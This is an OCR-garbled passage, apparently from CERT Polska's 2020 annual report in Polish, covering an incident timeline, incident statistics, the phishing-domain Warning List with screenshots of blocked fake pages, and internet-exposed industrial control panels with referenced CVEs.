https://bydgoszcz.tvp.pl/50559676/wlamanie-na-twittera-joanny-borowiak
https://konkret24.tvn24 pl/polityka,112/poslanka-pis-o-protestujacych-kobietach-narko-
manki-prostytutki-nie-atak-hakerski-na-konta-trzech-politykow-pis,1036012.html

LISTOPAD

21
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03.11

WyC|ek danych z SerW|su uPaCJenta pl

dan- DaC|entow/

05.11

Wyciek danych z Wydziatu MIM i WPRIA Uniwersytetu Warszawskiego
https://zaufanatrzeciastrona.pl/post/wyciek-danych-studentow-pracownikow-i-wspolpra-

cownikow-uniwersytetu-warszawskiego/

28.11

W’ramame na konto Facebook pos’ra Marka Kuchcinskiego

—konto facebook. html

12

GRUDZIEN

ooooooooo@oo.

06.12

WyC|ek polsk|ch pO|IS ubezp|eczen|owych zawartych za posredmctwem firmy Ent Broker

nymi-towarzystwami/
https://www.monev.pl/gospodarka/poinformowali-firme-o-wycieku-danych-to-pomvlka-

-uslyszeli-i-rozmowa-zostala-zakonczona-6583589628656288a.htm



https://niebezpiecznik.pl/post/szesciu-oficerow-gru-oskarzonych-o-ataki-notpetya-killdisk-olympicdestroyer-i-in/
https://niebezpiecznik.pl/post/szesciu-oficerow-gru-oskarzonych-o-ataki-notpetya-killdisk-olympicdestroyer-i-in/
https://bydgoszcz.tvp.pl/50559676/wlamanie-na-twittera-joanny-borowiak
https://konkret24.tvn24.pl/polityka,112/poslanka-pis-o-protestujacych-kobietach-narkomanki-prostytutki-nie-atak-hakerski-na-konta-trzech-politykow-pis,1036012.html
https://konkret24.tvn24.pl/polityka,112/poslanka-pis-o-protestujacych-kobietach-narkomanki-prostytutki-nie-atak-hakerski-na-konta-trzech-politykow-pis,1036012.html
https://zaufanatrzeciastrona.pl/post/wyciek-danych-studentow-pracownikow-i-wspolpracownikow-uniwersytetu-warszawskiego/
https://zaufanatrzeciastrona.pl/post/wyciek-danych-studentow-pracownikow-i-wspolpracownikow-uniwersytetu-warszawskiego/
https://technologia.dziennik.pl/internet/artykuly/8023753,marek-kuchcinski-hakerzy-atak-konto-facebook.html
https://technologia.dziennik.pl/internet/artykuly/8023753,marek-kuchcinski-hakerzy-atak-konto-facebook.html
https://niebezpiecznik.pl/post/potezny-wyciek-polis-ubezpieczeniowych-zawartych-z-roznymi-towarzystwami/
https://niebezpiecznik.pl/post/potezny-wyciek-polis-ubezpieczeniowych-zawartych-z-roznymi-towarzystwami/
https://www.money.pl/gospodarka/poinformowali-firme-o-wycieku-danych-to-pomylka-uslyszeli-i-rozmowa-zostala-zakonczona-6583589628656288a.html
https://www.money.pl/gospodarka/poinformowali-firme-o-wycieku-danych-to-pomylka-uslyszeli-i-rozmowa-zostala-zakonczona-6583589628656288a.html
https://niebezpiecznik.pl/post/upacjenta-pl-ktos-pozyskal-dostep-do-danych-i-wynikow-badan-pacjentow/
https://niebezpiecznik.pl/post/upacjenta-pl-ktos-pozyskal-dostep-do-danych-i-wynikow-badan-pacjentow/
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FireEye informuje o ataku aktora UNC2452 za pomocg oprogramowania SolarWinds
https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solar-

winds-supply-chain-compromises-with-sunburst-backdoor.html

15.12

Przejecie konta minister Marleny Malag na Twitterze
https://niebezpiecznik.pl/post/jak-pani-minister-konto-przejeto-albo-nie/
https://polskatimes.pl/hakerzy-przejeli-konto-marleny-malag-na-facebooku-opublikowali-
-skandaliczny-wpis/ar/c1-15347484

15.12

1,9 min zt kary dla Virgin Mobile od UODO
https://niebezpiecznik.pl/post/19-min-zl-kary-dla-virgin-mobile-od-uodo-zdecydowal-brak-
-reqularnych-testow



https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html
https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html
https://niebezpiecznik.pl/post/jak-pani-minister-konto-przejeto-albo-nie/
https://polskatimes.pl/hakerzy-przejeli-konto-marleny-malag-na-facebooku-opublikowali-skandaliczny-wpis/ar/c1-15347484
https://polskatimes.pl/hakerzy-przejeli-konto-marleny-malag-na-facebooku-opublikowali-skandaliczny-wpis/ar/c1-15347484
https://niebezpiecznik.pl/post/19-mln-zl-kary-dla-virgin-mobile-od-uodo-zdecydowal-brak-regularnych-testow
https://niebezpiecznik.pl/post/19-mln-zl-kary-dla-virgin-mobile-od-uodo-zdecydowal-brak-regularnych-testow
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CERT Polska w 2020 r. odnotowat 34 555 zgto-
szen. 20 976 z nich uznano za zgtoszenia doty-
czgce incydentow cyberbezpieczenstwa. Na tej
podstawie zarejestrowano 10 420 unikalnych
incydentéw cyberbezpieczenstwa. Zgtoszenia
incydentow moga do nas trafia¢ nastepujgcymi
drogami:

mailowo na adres cert@cert.pl,
Z_ S

o, poprzez formularz na stronie
E incydent.cert.pl,

o formularz na stronie
incydent.cert.pl/domena,
&3 telefonicznie +48 22 380 82 74,

@ oraz listownie korzystajgc z formularza
dostepnego na stronie bip.nask.pl.

CERT Polska odnotowat wzrost liczby obstu-
zonych incydentow na poziomie 60,7 proc.
w porownaniu do roku ubiegtego. Najpopu-
larniejszym typem incydentu w 2020 r. byt
phishing — stanowit az 73,15 proc. wszystkich
obstuzonych incydentéw. Liczba incydentow
zaklasyfikowanych jako phishing w porowna-

niu do roku poprzedniego wzrostaaz o 116
proc. i osiggneta wartosc 7622 incydentow.
Znaczgcy wptyw na zwiekszenie liczby zareje-
strowanych incydentow phishingowych miata
wprowadzona w marcu 2020 r. Lista Ostrzezen
przed stronami niebezpiecznymi. Dzieki nowej
funkcjonalnosci, zarejestrowalismy 3853 dodat-
kowych incydentow phishingowych. W 2020 .
mieliSmy do czynienia z wieloma kampaniami
wytudzen przeprowadzonymi na duzg skale.
W 2020 r. polscy internauci doswiadczali
atakow majgcych na celu pozyskanie danych
uwierzytelniajgcych do bankowosci elektronicz-
nej, danych kart ptatniczych, dostepu do kont
serwisow spotecznosciowych oraz skrzynek
poczty elektroniczne;j.

Popularnym w zesztym roku sposobem
kradziezy danych kart ptatniczych byt atak
podszywajgcy sie pod serwis aukcyjny OLX.
Atakujgcy kontaktujg sie przez aplikacje What-
sapp i przekonujg, ze optacili produkt. W celu
odebrania srodkow, ofiara ma wejs¢ w podany
link i wypetni¢ formularz podajgc dane karty
ptatniczej.

Na drugim miejscu pod wzgledem liczby
zarejestrowanych incydentow znalazto sie
szkodliwe oprogramowanie — odsetek tego
typu incydentow wyniést 7,16. W liczbach bez-
wzglednych zarejestrowalismy 746 incydentow
w tej kategorii (na podstawie 1815 zgtoszen).
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Ich liczba nieznacznie zmalata w poréwnaniu
do roku ubiegtego. Jak co roku, popularnymi
rodzajami szkodliwego oprogramowania sg
trojany bankowe oraz ransomware.

Trzecie miejsce w rankingu liczby zarejestro-
wanych incydentow w ubiegtym roku przypada
kategorii obrazliwych i nielegalnych tresci,
w tym spamu. Odsetek tych incydentow wy-
niost 3,22. Trzeba mie¢ na uwadze, ze niekiedy
jeden incydent dotyczgcy tresci o charakterze
spamu zawiera dziesigtki zgtoszen. W roku
ubiegtym CERT Polska otrzymat 3586 zgtoszen
o charakterze spamu, co przektada sie na 7
proc. wszystkich zgtoszen. Najczesciej obstu-
giwanymi tego typu incydentami byty ataki
tzw. sextortion scam, polegajgce na masowym
rozsytaniu wiadomosci mailowych informuja-
cych o rzekomym posiadaniu przez nadawce
materiatéw prezentujgcych ofiare w kontekscie
erotycznym i zgdajgce okupu w zamian za ich
wykasowanie.

CERT Polska w 2020 r. zarejestrowat tgcznie
2568 incydentow, ktére wystgpity w sektorze
media. Sektor ten obejmuje miedzy innymi
incydenty wystepujgce w mediach spotecz-
nosciowych, prasie czy telewizji. Sektor media
byt na pierwszym miejscu pod wzgledem ilosci
zarejestrowanych incydentéw wsrod reszty
sektoréw. CERT Polska nieustannie przestrzega
przed aktywnoscig oszustow. W 2020 r. opu-
blikowalismy w mediach spotecznosciowych 9
ostrzezen dotyczgcych proby przejecia danych
uwierzytelniajgcych do kont serwisu spotecz-
nosciowego Facebook.

Kolejnym sektorem pod wzgledem ilosci za-
rejestrowanych incydentow byt sektor handel
hurtowy i detaliczny. Zarejestrowano tgcznie
1437 incydentow. Sektor ten obejmuje miedzy
innymi incydenty w serwisach aukcyjnych oraz
sklepach internetowych. Nastepny sektor to
finanse z liczbg 1283 incydentow. Incydenty
zaklasyfikowane do tego sektora wystgpity
miedzy innymi w serwisach szybkich ptatnosci
internetowych.
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CSIRT NASK, w ramach Ustawy o Krajowym
Systemie Cyberbezpieczenstwa w 2020 r,,
obstuzyt 32 incydenty, ktore zaklasyfikowano
jako powazne, czyli takie, ktorych wystgpienie
ma istotny skutek zaktocajgcy Swiadczenie
ustugi kluczowej. Zostato zarejestrowa-
nych 27 incydentéw powaznych z sektora
bankowego, 4 z sektora ochrony zdrowia
oraz 1 z sektora energii. Ponadto CSIRT
NASK obstuzyt 1 incydent istotny, czyli
taki, ktorego wystgpienie ma wptyw
na sSwiadczenie ustugi cyfrowej. W 2020 r.
CERT Polska zarejestrowat o 23 incydenty
powazne wiecej wzgledem roku 2019. Ponad
potowa incydentow z sektora bankowego do-
tyczyta réznego rodzaju awarii, czego efektem
byta niedostepnos¢ ustugi.

W 2020 r. CSIRT NASK obstuzyt 461 incyden-
tow dotyczgcych podmiotow publicznych, co
stanowi ok. 4,4 proc. wszystkich zarejestro-
wanych incydentéw. Zgtoszenia z tego sektora
najczesciej byty klasyfikowane jako szkodliwe
oprogramowanie lub obrazliwe i nielegalne
tresci, w tym spam. Zdarzaty sie rowniez ataki
phishingowe majgce na celu przejecie danych
uwierzytelniajgcych do poczty elektronicznej.

W roku ubiegtym CERT Polska wspodlnie z ope-
ratorami telekomunikacyjnymi rozpoczgt walke
ze stronami wytudzajgcymi dane osobowe,
dane uwierzytelniajgce do kont bankowych
I serwisow spotecznosciowych. W ramach
wspotpracy opracowano tzw. Liste Ostrzezen,
ktéra stanowi odpowiedz na znaczgcy wzrost
liczby wytudzen danych, w zwigzku z tresciami
dotyczgcymi epidemii koronawirusa. Strony
wytudzajgce dane osobowe oraz dane uwie-
rzytelniajgce sg obecnie zjawiskiem maso-
wym, dotykajgcym rézne grupy uzytkownikow
internetu w Polsce. Linki do nich przesytane
sg roznymi kanatami: przez SMS, e-mail lub
media spotecznosciowe. W ramach wspotpra-
cy publikujemy ogolnie dostepng liste domen
wykorzystywanych do naduzy¢. W 2020 r.
przeanalizowalismy tgcznie 22 375 domen
internetowych, z ktorych na podstawie tresci
szkodliwych zablokowalismy 3853.

Zachecamy do zapoznania sie ze statystykami
obstuzonych incydentow przez CERT Polska
w 2020r.
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Sektor gospodarki incl;ig(zagféw %
Energetyka 101 0,97%
Transport 29 0,28%
Bankowosé 1008 9,67%
Infrastruktura rynkéw finansowych 1283 12,31%
Stuzba zdrowia 112 1,07%
Wodociagi 9 0,09%
Infrastruktura cyfrowa 1016 9,75%
Inne 379 3,64%
Brak 0 0,00%
Administracja publiczna 388 3,72%
Budownictwo i gospodarka nieruchomosciami 29 0,28%
Kultura i ochrona dziedzictwa narodowego 7 0,07%
Kultura fizyczna 9 0,09%
Oswiata i wychowanie 71 0,68%
Rolnictwo 4 0,04%
Rybotéwstwo 1 0,01%
Wyznania religijne i mniejszosci narodowe 8 0,08%
Dziatalno$¢é ubezpieczeniowa 2 0,02%
Izby gospodarcze i handlowe 3 0,03%
Handel hurtowy i detaliczny 1437 13,79%
Produkcja 57 0,55%
Logistyka i dystrybucja 27 0,26%
Poczta i ustugi kurierskie 500 4,80%
Turystyka 9 0,09%
Gospodarka odpadami 1 0,01%
Hotele 19 0,18%
Media 2568 24,64%
Ustugi inne 384 3,69%
Osoby fizyczne 959 9,20%
Razem 10420 100,00%

Tab. 1. Incydenty obstuzone przez CERT Polska w 2020 r. w podziale na sektor gospodarki.
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Typ incydentu incl;i;(zagféw %

I. Obrazliwe i nielegalne tresci, w tym: 371 3,56%
Spam 336 3,22%
Dyskredytacja, obrazanie 8 0,08%
Pornografia dziecieca, przemoc 1 0,01%
Niesklasyfikowane 26 0,25%
Il. Ztosliwe oprogramowanie, w tym: 746 7,16%
Wirus 0 0,00%
Robak sieciowy 1 0,01%
Kon trojanski 10 0,170%
Oprogramowanie szpiegowskie 1 0,01%
Dialer 0 0,00%
Rootkit 0 0,00%
Niesklasyfikowane 734 7,04%
lll. Gromadzenie informacji, w tym: 60 0,58%
Skanowanie 32 0,31%
Podstuch 0 0,00%
Inzynieria spoteczna 1 0,01%
Niesklasyfikowane 27 0,26%
IV. Préby wtaman, w tym: 174 1,67%
Wykorzystanie znanych luk systemowych 5 0,05%
Proby nieuprawnionego logowania 14 0,13%
Wykorzystanie nieznanych luk systemowych 0 0,00%
Niesklasyfikowane 155 1,49%
V. Wiamania, w tym: 317 3,04%
Wtamanie na konto uprzywilejowane 9 0,09%
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Wtamanie na konto zwykte 75 0,72%
Wtamanie do aplikaciji 13 0,12%
Bot 13 0,12%
Niesklasyfikowane 207 1,99%
VI. Dostepnos¢ zasobow, w tym: 121 1,16%
Atak blokujacy serwis (DoS) 0 0,00%
Rozproszony atak blokujgcy serwis (DDoS) 43 0,41%
Sabotaz komputerowy 0 0,00%
Przerwa w dziataniu ustug (nieztosliwe) 52 0,50%
Niesklasyfikowane 26 0,25%
VII. Atak na bezpieczenstwo informacji, w tym: 68 0,65%
Nieuprawniony dostep do informaciji 42 0,40%
Nieuprawniona zmiana informacji 4 0,04%
Niesklasyfikowane 22 0,21%
VIIl. Oszustwa komputerowe, w tym: 8310 79,75%
Nieuprawnione wykorzystanie zasobow 25 0,24%
Naruszenie praw autorskich 2 0,02%
Kradziez tozsamosci, podszycie sie 11 0,11%
Phishing 7622 73,15%
Niesklasyfikowane 650 6,24%
IX. Podatne ustugi, w tym: 211 2,02%
Otwarte serwisy podatne na naduzycia 29 0,28%
Niesklasyfikowane 182 1,75%
X. Inne 42 0,40%
Razem 10420 100,00%

Tab. 2. Incydenty obstuzone przez CERT Polska w 2020 r. w podziale na kategorie wg taksonomii eCSIRT.net mkVI'.

1

https://www.trusted-introducer.org/Incident-Classification-Taxonomy.pdf
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Wraz z nadejsciem tzw. “pierwszej fali” zakazen
koronawirusem SARS-CoV-2, 23 marca 2020 .
zostato zawarte porozumienie o wspotpracy
w zakresie ochrony uzytkownikéw internetu.
Stronami porozumienia zostali polscy opera-
torzy telekomunikacyjni (Orange, Plus, Play,
T-Mobile), Ministerstwo Cyfryzacji, Urzad
Komunikacji Elektronicznej oraz Panstwowy
Instytut Badawczy NASK. Celem porozumienia
byto blokowanie stron wytudzajgcych dane
oraz doprowadzajgcych do niekorzystnego
rozporzadzenia srodkami finansowymi.

W wyniku realizacji tresci porozumienia po-
wstata “Lista Ostrzezen CERT Polska”, czyli
publicznie i nieodptatnie dostepna baza domen
wykorzystywanych do naduzyc. Lista jest aktu-
alizowana catodobowo, a nowe domeny dopi-
sywane sg wytgcznie po dokonaniu manualnej
weryfikacji przez dwoch pracownikéw CERT
Polska. Z listy korzysta¢ moze kazdy podmiot,
takze niebedacy strong wspomnianego porozu-
mienia.
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Blokowane tresci

NASK

Ponizej zamieszczamy przyktady fatszywych stron internetowych, ktére zostaty zablokowane po-
przez wpisanie domeny na Liste Ostrzezen.

Otrzymywanie srodkow

150 zt
Pralka Candy csd 85 850rpm A+ class

Twdj przedmiot zostat wystawiony.

2

Wybrana jest dostawa na terenie Polski. Koszty wysytki moga sie roznic w

Warszawa

zaleznosci od r

Przedmiot zaptacono @

Twoj przedmiot, tacznie z dostawa,
Hldstd zostanie wystawiony na kwote:

150 zt

Rys. 1. Fatszywa strona odbioru ptatnosci za towar wystawiony na portalu OLX, hostowana pod adresem “pay02-olx.
pl”. Po kliknieciu w przycisk [Otrzymaé srodki] wyswietlany byt formularz stuzacy do wprowadzania danych karty
ptatniczej, na ktéra rzekomo miaty by¢ przelane srodki. W rzeczywistosci dochodzito do wytudzenia pieniedzy po-
przez obcigzenie wprowadzonej karty.

iPKO

14.12.202
Uwazaj na telefonicznych oszustow! MozZesz straci¢
pieniadze.

Oszuéci dzwonig do Klientéw i podszywajq sig pod pracownikéw banku

Otworz konto

Zaloguj sie

Wpisz numer klienta lub login

Dalej

Pomoc w logowaniu

iPKO

Wygodniejsze zarzadzanie aplikacja IKO w serwisie

Cheesz zmieni¢ PIN do aplikacji IKO lub whyczyé mobilng autoryzacjg?

Bezpieczne logowanie

Obrazek bezpieczeristwa

Upewnij sig, czy wyswietlony obrazek jest zgodny z tym, ktory zostat przez
Ciebie wyhrany. Sprawds, czy data i godzina widoczna pray ohrazku jest
zgodna z datq i godzing rozpoczecia logowania.

Haslo

Wpisz hasto, kidrego uzywasz, aby zalogowat sie da iPKO. Upewnij sie, 7e nikt
nie widzi wpisywanych przez Ciebie danych. Loguyj sig tylko przy
wykorzystaniu zaufanego polgczenia z intemetem.

‘Wazna informacja o logowaniu

Przypominamy, e czasami, nie czescie] niz co 90 dni, moZemy poprosic
Cig o potwierdzenie logowania do serwisu iPKO kodem z narzgdzia

N 3 N & S T _ = autoryzacji.
Jedli podasz im dane logowania lub ked z narzedzia autoryzacyjnego albo Amoze potrzebujesz zmienic limity transakeji [KO? Widok strony R
zainstalujesz na ich polecenie podejrzane oprogramowanie - stracisz dostosuje sie teraz do ekranu komputera, smartfona i tableta
pienigdze. Wigce]
Wigcej
Wigcej

Rys. 2. Falszywa strona logowania do banku PKO BP hostowana pod adresem “dostawa.id16337889.com”. Wprowa-
dzone dane logowania do konta bankowego byly przekazywane przestepcom, co umozliwiato im wytransferowanie
srodkow finansowych z rachunku ofiary.
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Messenger

You must log in first.

Your Email

Continue

O Keep me signed in

Rys. 3. Falszywy panel logowania do ustugi Facebook Messenger hostowany w domenie “fbbbx.xyz". Przejete konta
w portalach spotecznosciowych bywaja wykorzystywane przez przestepcow do tzw. oszustw metoda “na BLIKa".

Zgtaszanie ztosliwych domen

Kazdy uzytkownik internetu moze zgtosic¢ ztosliwg domene, proponujgc tym samym dopisanie jej
do Listy Ostrzezen. Zgtoszen mozna dokonywac pod adresem incydent.cert.pl/domena. Wykorzy-
stanie tego specjalnego kanatu umozliwia szybsze podjecie reakcji wzgledem danego zagrozenia,
poniewaz wysytane w ten sposob zgtoszenia sg przesytane od razu w postaci ustrukturyzowane;.



incydent.cert.pl/domena
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<ERT.PL Zgtos incydent

Zgtoszenie domeny internetowej stuzacej do wyludzen danych i srodkow
finansowych

Korzystajac z niniejszego formularza, moga Panstwo zgtosi¢ domeny internetowe, ktore za podstawowy cel swojego dziatania maja wprowadzenie w
bigd uzytkownikow internetu i w ten sposob doprowadzenie ich do niekorzystnego rozporzadzenia srodkami finansowymi albo do wytudzenia ich
danych osobowych.

Jezeli chca Panstwo zgtosic innego rodzaju incydent prosze uzyc ponizszego odnosnika:
Zglaszanie incydentu (innego niz zlosliwa domena) do CSIRT NASK.

Prosimy o wypelnienie ponizszego formularza
Ztosliwe domeny

W ramach zgtoszenia mozna wskaza¢ maksymalnie 50 ztosliwych domen.

Ztosliwe domeny lub adresy URL (po jednym w linii)

Uzasadnienie zgtoszenia

Rys. 4. Formularz zgtaszania ztosliwej domeny w ramach portalu incydent.cert.pl

Styczen

Luty

Marzec

Kwiecien

Maj

Czerwiec

Lipiec

Sierpien

Wrzesien

Pazdziernik

Listopad

Grudzien

0

o

117

948

932

571

531

616

739

638

Liczba nazw domenowych wpisanych na Liste Ostrzezen w podziale na miesiace.

1149

1218
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Sprawdz czy jestes chroniony

Pod adresem lista.cert.pl znajduje sie narzedzie umozliwiajgce sprawdzenie, czy sie¢ w ktorej obecnie
sie znajdujemy jest chroniona przez Liste Ostrzezen CERT Polska.

CERT.PL>

Lista Ostrzezen

Sprawdz czy Twoja siec jest chroniona

Twoja siec nie jest chroniona przez Liste Ostrzezen CERT Polska.

- I

Wynik powyzszego sprawdzenia moze zalezec od wykorzystywanego w
danym momencie sposobu potaczenia z Internetem. W zwiazku z tym,
sprawdzenie nalezy przeprowadzi¢ oddzielnie dla kazdej
wykorzystywanej sieci WiFi oraz potaczenia sieci komdrkowe;j.

CERT Polska | Wiecej informacji na temat dziatania Listy Ostrzezen
mozna znalez¢ w artykule "Lista ostrzezen przed niebezpiecznymi
stronami”.

Rys. 5. Aplikacja lista.cert.pl, stuzaca do sprawdzania, czy sie¢, w ktorej obecnie sie znajdujemy, jest chroniona przez
Liste Ostrzezen CERT Polska.

Uwaga! Ta strona stanowi zagrozenie

Moze ona wytudzac dane osobowe, dane uwierzytelniajgce do kont bankowych lub serwiséw
spotecznosciowych. W trosce o Twoje bezpieczenstwo dostawca internetu powstrzymat probe ataku
poprzez te strone.

Przypominamy:

Q Doktadnie sprawdzaj adres i wyglad strony, na ktérej podajesz dane logowania, dane osobowe czy karty ptatniczej.

Nie dzialaj pod presja czasu, uwazaj na wszelkie wiadomosci, ktére sktaniajg do dziatania natychmiast.
Weryfikuj zrédto informacji zanim podejmiesz dziatania na jej podstawie lub ja powielisz.

Nie jestes pewien czy dana wiadomosc¢ jest prawdziwa? Skontaktuj sie z rzekomym nadawcg innym znanym kanatem
i/lub poszukaj potwierdzenia informacji w innych zrédtach.

Zgtaszaj do CERT Polska kazda podejrzang strone, a takze wiadomosci email i SMSy, ktére moga wytudzac dane.
Formularz znajdziesz na stronie https://incydent.cert.pl.

Oficjalne informacje i komunikaty na temat koronawirusa znajdziesz na stronie: https://gov.pl/koronawirus.

Lista ostrzezerh zawierajaca wykaz witryn stanowigcych zagrozenie znajduje sie na stronie https://cert.pl/ostrzezenia phishing.

Rys. 6. Plansza informacyjna o zablokowaniu strony przez Liste Ostrzezen. Wyglad strony moze rézni¢ sie w zalez-
nosci od operatora telekomunikacyjnego.

33


lista.cert.pl

Korzystanie z listy

Lista zostata stworzona w technologii bardzo
zblizonej do rozwigzan stosowanych przez
Ministerstwo Finansow do publikaciji listy stron
hazardowych. Dzieki temu dostawcy ustug
internetowych, ktorzy sg zobligowani do ko-
rzystania z listy stron hazardowych, mog3 jg
natychmiast wykorzystac przy uzyciu tych
samych rozwigzan. Réwniez administratorzy
sieci lokalnych w przedsiebiorstwach, urzedach
czy innych podmiotach, mogg bez przeszkadd
korzystac z listy na swoich lokalnych serwe-
rach DNS czy urzgdzeniach brzegowych.

Lista moze byc¢ takze wykorzystana do filtrowa-
nia ruchu w sieci domowej i na urzgdzeniach
koncowych, np. w lokalnych serwerach DNS
wraz z rozwigzaniem do sinkholowania nie-
pozgdanego ruchu (np. pi-hole), a nawet we
wtyczkach do przeglagdarki kompatybilnych
z formatem AdBlock.

Aktualna zawartosc Listy Ostrzezen jest pu-
blicznie i nieodptatnie dostepna pod adresem:
http://hole.cert.pl/domains/

Tresc¢ listy mozna pobra¢ w nastepujgcych
formatach:

« TXT — domeny obecnie wpisane na liste,
po jednej domenie w linii;

+ JSON — domeny wpisane i wykreslone z listy;

+ XML — domeny wpisane i wykreslone z listy,
w formacie zblizonym do tego, ktory jest
wykorzystywany przez rejestr stron hazardo-
wych Ministerstwa Finansow;

+ CSV — domeny wpisane i wykreslone z listy
w formacie CSV,

- Adblock — domeny wpisane na liste, w for-
macie przeznaczonym dla wtyczki AdBlock
i innych kompatybilnych z tym formatem
wtyczek;

+ hosts — domeny wpisane na liste w formacie
zgodnym z /etc/hosts;

+ Mikrotik — domeny wpisane na liste w forma-
cie regut dla routerow Mikrotik;

Wiecej informaciji o liscie ostrzezenCERT Polska
mozna znalez¢ na stronie https://www.cert.pl/
posts/2020/03/ostrzezenia_phishing/index.
html
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W roku 2020 kontynuowalismy dziatania
na rzecz podniesienia poziomu cyberbezpie-
czenstwa polskiej infrastruktury przemystowe).
W tym celu szukalismy dostepnych z internetu
urzgdzen, takich jak sterowniki PLC czy panele
sterownicze (HMI), kontaktowalismy sie z ich
wtascicielami i doradzalismy jak je zabezpie-
czyc.

Ciekawsze znaleziska w 2020 r. obejmujg m.in.

+ Systemy informacji pasazerskiej i telemetrii
kilkudziesieciu pociggow;

+ Systemy sterowania duzymi farmami foto-
woltaicznymi;

+ Liczne panele operatorskie oczyszczalni
sciekow;

+ Liczne panele operatorskie stacji uzdatniania
wody;

+ Podatne moduty komunikacyjne 3G/4G po-
zwalajgce na dostep do sieci przemystowe;;

+ Panele zarzgdzania flotg autobusow.

35




nask CERT.PLO-

“ Okno gitowne Uwaga! Automatyczne plukanie filtréw wytgczone 2020/11/25 12:04:43

P1 P2 ; P1 P2
lﬁn-LFncp- ] --IGI'II\._FICM

P1 P2
nlﬁl'l-..rl-cw

Filtr 2

P5 P4 P5 P4
RN KON ’ f KON | (VL |
P& P3 P& P3
llclnulclil--l U = ) = UM =1 ML [ ;

e b )

{ul e s | 4.0 |ar

: J : [ 93.6 [kl

- n Lootr [0 g
f y m
48

m3/h DM1  DM2 | 68.9 [yely

’q_ :' Brak komunikacji
5 i Czujnik ruchu

of 7820007 [uEHENTEN | off 2058837 [ykl
-
: Czujnik ruchu

Dozowanie

: |
Sygnalizacja i i 0
alarmowa 1
! [0.0]
\. J 1
i ' i - 3 o - - o) —
Chlorator Przemiennik| [Przemiennik| [Przemiennik =
1

nr1 nr2 nr3 i i
Studnia1 Studnia 3B Studnia 32 : Studnia 2C Studnia 2B Studnia 27 ::

16.91 |pH | |[45.5]Hz | |[0.0 Hz| [[0.0 |Hz e, \C Wiz ) ((Whaz )
i Wiaz_)( Wiaz az_ i i
[0.18 |man) |[40.3]a | |[0.0]A | [[00A |imene mies) i) " .

. Studnia 2Z. Brak wody Studnia 2Z. Wtaz otwarty . Szafa st

Rys. 7. Panel operatorski stacji uzdatniania wody dostepny z internetu.

Na przetomie 2019 i 2020 rozszerzyliSmy za- administratora bez koniecznosci logowania
kres dziatan o badanie podatnosci wybranych i w efekcie ominiecie uwierzytelniania. Pod ko-
urzadzen, ktore zaobserwowalismy jako wy- niec 2020 r. znalezlisSmy jeszcze jedng powazng
korzystywane w Polsce. W efekcie zgtosilismy luke w panelu HMI, czesto wykorzystywanym
podatnosci w module sieciowym Grundfos CIM w Polsce w stacjach uzdatniania wody i oczysz-
500, oznaczone jako CVE-2020-10605 oraz czalniach sciekow, ale do chwili pisania tego
CVE-2020-10609, a takze w przemystowych raportu tatka naprawiajgca btad nie zostata
modemach polskiej produkcji — Plum IK-401, jeszcze wydana przez producenta.

oznaczonej jako CVE-2020-28946. Podatnosci
te pozwalaty na pobranie danych dostepowych
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Rys. 8. Panel operatorski oczyszczalni sciekow dostepny z internetu.

Uzupetnieniem tych dziatan byty rekomendacje
i ostrzezenia dla sektorow wydawane w poro-
zumieniu z organem witasciwym ds. cyberbez-
pieczenstwa. W szczegoélnosci zwracalismy
uwage na problem urzgdzen podtgczonych
bezposrednio do internetu, bez wykorzystania
bezpiecznych metod zdalnego dostepu. CERT
Polska obserwuje zwiekszong liczbe urzgdzen

ierunek/Direction
zestochowa

majgcych zwigzek z przemystowymi systema-
mi sterowania (ICS) dostepnych bezposrednio
z internetu, czesto z mozliwoscig zdalnego
sterowania. Podobny trend jest obserwowany
na Swiecie. Znane sg przypadki aktoréw poszu-
kujgcych tego typu urzadzen i wykorzystuja-
cych ich dostepnos¢ jako wektor ataku na sieci
przemystowe.?
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Przejazd techniczny

Rys. 9. Edytor ekranéw systemu informacji pasazerskiej pociaggu dostepny z internetu.

2 https://us-cert.cisa.gov/ncas/alerts/aa20-205a
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W raporcie za rok 2019 jako najwiekszg trud-
nos¢ w zabezpieczeniu tego typu urzadzen
wskazaliSmy nawigzanie kontaktu z faktycz-
nym wtascicielem. Ten problem nadal wyste-
puje, ale nowym, duzo powazniejszym zaob-
serwowanym zjawiskiem sg liczne przypadki,
gdy witasciciele mimo otrzymania informacji
0 podatnosci, przez dtugi czas nie byli w stanie
jej wyeliminowac lub byta ona bagatelizowana.

Obserwujemy to szczegdlnie w sytuacji, gdy
obiekt jest zarzgdzany wytgcznie zdalnie i zmia-

na konfiguracji wymaga znacznego naktadu
pracy. Czestym zjawiskiem jest rowniez to,
ze catoscig infrastruktury zarzadza podwyko-
nawca zewnetrzny, a wyeliminowanie podat-
nosci nie wchodzi w zakres obowigzujgcego
kontraktu. Gtownym celem jaki sobie stawiamy
w 2021 r., jest lepsze dotarcie i zrozumienie
problemow matych instalacji miejskich, jak
stacje uzdatniania wody czy oczyszczalnie
Sciekow.
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W 2020 r. kierujgc sie obowigzkami natozonymi
ustawg o krajowym systemie cyberbezpieczen-
stwas, a w szczegolnosci zadaniami opisanymi
w rozdziale 6 art. 26 pkt. 3 dokonalismy dwoch
duzych badan bezpieczenstwa stron interneto-
wych.

Pierwsze badanie, ktére odbyto sie w lutym
2020 ., objeto 2806 adresow stron nalezacych
do jednostek samorzadu terytorialnego (JST).
Szczegotowy raport z wynikami nie zostat
upubliczniony, ale mozemy sie podzieli¢ wy-
branymi statystykami. Z kolei drugie badanie,
ktore zakonczyto sie w sierpniu ubiegtego roku,
dotyczyto stron placowek oswiatowych i obej-
mowato sprawdzenie 17911 unikalnych domen
oraz 6602 unikalnych adresow IP. Szczegdtowy
raport z drugiego badania dostepny jest do po-
brania na stronie CERT Polska4.

Badania obejmowaly takie zagadnienia jak:
+ Analiza danych rejestrowych;

« Sprawdzenie czy strona jest hostowana
na serwerze wspolnie ze stronami innych
podmiotow;

+ Otwarte porty i dziatajgce na nich ustugi;

3

« Wykorzystywane systemy zarzgdzania tre-

Scig (CMS);

+ Znane podatnosci w wykorzystywanych wer-

sjach systemu zarzadzania trescig (Joomla,
Wordpress);

+ Wyszukiwanie sciezek i plikow w tzw. gte-

bokim ukryciu, np. plikéw z kopig zapasowa,
plikéw konfiguracyjnych czy folderéw z wia-
czonym listingiem plikow;

- Podatnosci w ustugach dziatajgcych na ser-

WErze,

